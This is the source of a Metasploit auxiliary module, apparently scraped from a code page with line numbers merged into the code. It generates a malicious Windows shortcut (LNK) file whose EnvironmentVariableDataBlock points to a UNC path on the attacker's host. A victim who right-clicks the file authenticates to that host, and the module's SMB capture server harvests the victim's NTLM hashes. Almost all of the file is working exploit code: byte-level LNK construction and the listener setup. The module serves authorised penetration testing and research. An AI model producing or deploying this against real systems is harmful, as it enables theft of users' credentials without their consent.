Path: blob/master/modules/auxiliary/fileformat/environment_variable_datablock_leak.rb
23590 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'faker'67class MetasploitModule < Msf::Auxiliary89include Msf::Exploit::FILEFORMAT10include Msf::Exploit::Remote::SMB::Server::Share11include Msf::Exploit::Remote::SMB::Server::HashCapture1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',18'Description' => %q{19This module creates a malicious Windows shortcut (LNK) file that20specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)21that can trigger an authentication attempt to a remote server. This can be used22to harvest NTLM authentication credentials.2324When a victim right-click the generated LNK file, it will attempt to connect to the25the specified UNC path, resulting in an SMB connection that can be captured26to harvest credentials.27},28'License' => MSF_LICENSE,29'Author' => [30'Nafiez', # Original POC & Module31],32'References' => [33['URL', 'https://zeifan.my/Right-Click-LNK/']34],35'Platform' => 'win',36'Targets' => [37['Windows', {}]38],39'DefaultTarget' => 0,40'DisclosureDate' => '2025-05-06',41'Notes' => {42'Stability' => [CRASH_SAFE],43'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],44'Reliability' => []45}46)47)4849register_options([50OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),51OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),52OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),53])54end5556def run57lnk_data = create_lnk_file58filename = file_create(lnk_data)59print_good("LNK file created: #{filename}")6061start_smb_capture_server62print_status("Listening for hashes on #{srvhost}:#{srvport}")6364stime = Time.now.to_f65timeout = datastore['ListenerTimeout'].to_i66loop do67break if timeout > 0 && (stime + timeout < Time.now.to_f)6869Rex::ThreadSafe.sleep(1)70end71end7273def create_lnk_file74data = ''.b7576# LNK header - 76 bytes77header = "\x4C\x00\x00\x00".b7879# LinkCLSID (00021401-0000-0000-C000-000000000046)80header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b8182# Define LinkFlags83link_flags = 0x0000000084link_flags |= 0x00000004 # HAS_NAME85link_flags |= 0x00000020 # HAS_ARGUMENTS86link_flags |= 0x00000040 # HAS_ICON_LOCATION87link_flags |= 0x00000080 # IS_UNICODE88link_flags |= 0x00000200 # HAS_EXP_STRING8990header += [link_flags].pack('V')9192# FileAttributes (FILE_ATTRIBUTE_NORMAL)93header += "\x20\x00\x00\x00".b9495# CreationTime, AccessTime, WriteTime (zeroed)96header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 39798# FileSize99header += "\x00\x00\x00\x00".b100101# IconIndex102header += "\x00\x00\x00\x00".b103104# ShowCommand (SW_SHOWNORMAL)105header += "\x01\x00\x00\x00".b106107# HotKey108header += "\x00\x00".b109110# Reserved fields111header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b112113# Add the header to our binary data114data += header115116# NAME field (description in Unicode)117description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)118description_utf16 = description.encode('UTF-16LE').b119data += [description_utf16.bytesize / 2].pack('v')120data += description_utf16121122# ARGUMENTS field (command line arguments in Unicode)123padding_size = datastore['PADDING_SIZE']124cmd_args = ' ' * padding_size125cmd_args_utf16 = cmd_args.encode('UTF-16LE').b126data += [cmd_args_utf16.bytesize / 2].pack('v')127data += cmd_args_utf16128129# ICON LOCATION field (icon path in Unicode)130icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'131icon_path_utf16 = icon_path.encode('UTF-16LE').b132data += [icon_path_utf16.bytesize / 2].pack('v')133data += icon_path_utf16134135# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE136env_block_size = 0x00000314 # Total size of this block137env_block_sig = 0xA0000001 # Environmental Variables block signature138139data += [env_block_size].pack('V')140data += [env_block_sig].pack('V')141142# Target field in ANSI (260 bytes)143unc_share = datastore['SHARE']144unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?145unc_path = "\\\\#{srvhost}\\#{unc_share}"146147# Create fixed-size ANSI buffer with nulls148ansi_buffer = "\x00".b * 260149150# Copy the UNC path bytes into the buffer151unc_path.bytes.each_with_index do |byte, i|152ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize153end154155data += ansi_buffer156157# Target field in Unicode (520 bytes)158unc_path_utf16 = unc_path.encode('UTF-16LE').b159160# Create fixed-size Unicode buffer with nulls161unicode_buffer = "\x00".b * 520162163# Copy the UTF-16LE encoded UNC path bytes into the buffer164unc_path_utf16.bytes.each_with_index do |byte, i|165unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize166end167168data += unicode_buffer169170data += "\x00\x00\x00\x00".b171172data173end174175def get_unc_path176"\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"177end178179def start_smb_capture_server180start_service181print_status('The SMB service has been started.')182end183184end185186187